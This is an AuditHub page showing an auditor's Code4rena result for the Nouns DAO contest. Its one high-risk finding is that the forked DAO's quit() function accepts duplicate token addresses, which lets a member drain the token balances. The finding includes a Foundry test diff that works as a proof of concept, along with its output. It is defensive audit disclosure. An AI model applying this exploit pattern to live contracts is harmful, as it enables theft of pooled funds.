Nouns DAO - 0xA5DF's results

A DAO-driven NFT project on Ethereum.

General Information

Platform: Code4rena

Start Date: 03/07/2023

Pot Size: $100,000 USDC

Total HM: 4

Participants: 36

Period: 10 days

Judge: gzeon

Total Solo HM: 3

Id: 257

League: ETH

Nouns DAO

Findings Distribution

Researcher Performance

Rank: 5/36

Findings: 1

Award: $3,997.64

🌟 Selected for report: 0

🚀 Solo Findings: 0

Findings Information

🌟 Selected for report: jasonxiale

Also found by: 0xA5DF, 0xG0P1, iglyx, said, shark

Labels

bug
3 (High Risk)
satisfactory
duplicate-102

Awards

3997.6359 USDC - $3,997.64

External Links

Lines of code

https://github.com/nounsDAO/nouns-monorepo/blob/718211e063d511eeda1084710f6a682955e80dcb/packages/nouns-contracts/contracts/governance/fork/newdao/governance/NounsDAOLogicV1Fork.sol#L202-L204

Vulnerability details

The quit() function is used to allow members of the forked DAO to ragequit the dao and receive a pro-rata share of the ERC20 tokens that the DAO holds. One version of this functions allows the user to supply their own list of ERC20 tokens for the function to iterate over. The issue is that the function doesn't check for duplicates, meaning that if a user supplies a list with the same token repeated 10 times - they'd get a x10 of their pro rata share.

Impact

Forked DAO tokens can be drained by a single member.

Proof of Concept

The following PoC demonstrates the issue - the user has only 1/5 share in the DAO but is able to drain the full balance of token2.

diff --git a/packages/nouns-contracts/test/foundry/governance/fork/NounsDAOLogicV1Fork.t.sol b/packages/nouns-contracts/test/foundry/governance/fork/NounsDAOLogicV1Fork.t.sol
index e7e03767..17179177 100644
--- a/packages/nouns-contracts/test/foundry/governance/fork/NounsDAOLogicV1Fork.t.sol
+++ b/packages/nouns-contracts/test/foundry/governance/fork/NounsDAOLogicV1Fork.t.sol
@@ -469,8 +469,11 @@ contract NounsDAOLogicV1Fork_Quit_Test is NounsDAOLogicV1ForkBase {
 
     function test_quit_allowsChoosingErc20TokensToInclude() public {
         vm.prank(quitter);
-        address[] memory tokensToInclude = new address[](1);
-        tokensToInclude[0] = address(token2);
+        address[] memory tokensToInclude = new address[](5);
+        for(uint i =0; i < 5; i++){
+            tokensToInclude[i] = address(token2);
+        }
+
         dao.quit(quitterTokens, tokensToInclude);
 
         assertEq(quitter.balance, 24 ether);

Output:

Running 1 test for test/foundry/governance/fork/NounsDAOLogicV1Fork.t.sol:NounsDAOLogicV1Fork_Quit_Test [FAIL. Reason: Assertion failed.] test_quit_allowsChoosingErc20TokensToInclude() (gas: 435452) Logs: Error: a == b not satisfied [uint] Expected: 1753 Actual: 8765

Check the list for duplicates

Assessed type

Invalid Validation

#0 - c4-pre-sort

2023-07-20T12:13:38Z

0xSorryNotSorry marked the issue as duplicate of #102

#1 - c4-judge

2023-07-24T09:06:30Z

gzeon-c4 marked the issue as satisfactory

AuditHub

A portfolio for auditors, a security profile for protocols, a hub for web3 security.

Built bymalatrax © 2024

Auditors

Browse

Contests

Browse

Get in touch

ContactTwitter